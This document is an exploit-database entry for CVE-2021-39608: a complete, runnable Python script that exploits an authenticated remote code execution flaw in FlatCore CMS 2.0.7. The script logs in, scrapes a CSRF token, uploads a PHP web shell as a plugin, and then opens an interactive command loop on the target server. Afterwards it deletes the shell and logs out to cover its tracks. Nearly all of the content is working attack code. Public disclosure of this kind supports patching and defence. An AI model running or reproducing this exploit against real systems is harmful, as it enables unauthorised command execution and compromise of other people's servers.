FlatCore CMS 2.0.7 – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated) # Date: 04/10/2021 # Exploit Author: Mason Soroka-Gill @sgizoid # Vendor Homepage: https://flatcore.org/ # Software Link: https://github.com/flatCore/flatCore-CMS/archive/refs/tags/v2.0.7.tar.gz # Version: 2.0.7 # Tested on: Ubuntu Server 21.04 # CVE: CVE-2021-39608 # References: # - https://github.com/flatCore/flatCore-CMS/issues/52 #!/usr/bin/env python3 import sys import requests from lxml import html from urllib.parse import urlencode if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} 'http(s)://TARGET' 'USERNAME' 'PASSWORD'") exit(1) TARGET = sys.argv[1] USERNAME = sys.argv[2] PASSWORD = sys.argv[3] # attempt to log in resp = requests.post(f"{TARGET}/index.php?p=1", data={ "login_name":f"{USERNAME}", "login_psw":f"{PASSWORD}", "login":"Anmelden"}) # grab the PHP session ID PHPSESSID = resp.headers['Set-Cookie'].split(";")[0] # validate credentials worked resp = requests.get(f"{TARGET}/acp/acp.php?tn=addons", headers={"Cookie":PHPSESSID}) if resp.status_code != 200: print("Invalid credentials") exit(1) else: print("Logged in") # grab the csrf token for the script upload csrf_token = html.document_fromstring(resp.text).xpath('//form/input[7]')[0].value # post the shell to the host resp = requests.post(f"{TARGET}/acp/core/files.upload-script.php", data={"upload_type":"plugin", "csrf_token":csrf_token}, # the csrf token files={"file":("sgizoid.php", "<?php echo shell_exec($_GET['sg']); ?>")}, # the webshell headers={"Cookie":PHPSESSID}) # the php session id # pretend to be a shell while True: command = input("$ ") if command.lower() == "exit" or command.lower() == "q": break resp = requests.get(f"{TARGET}/upload/plugins/sgizoid.php?{urlencode({'sg':command})}") # verify payload succeeded if resp.status_code == 200: print(resp.text) else: print("Error: Something went wrong, maybe the shell didn't work?") break # delete the webshell resp = requests.get(f"{TARGET}/acp/acp.php?tn=moduls&sub=u&dir=plugins&del=sgizoid.php", headers={"Cookie":PHPSESSID}) if resp.status_code == 200: print("Cleaned up webshell") # clean up the session resp = requests.get(f"{TARGET}/index.php?goto=logout", headers={"Cookie":PHPSESSID}) if resp.status_code == 200: print("Logged out") exit(0) |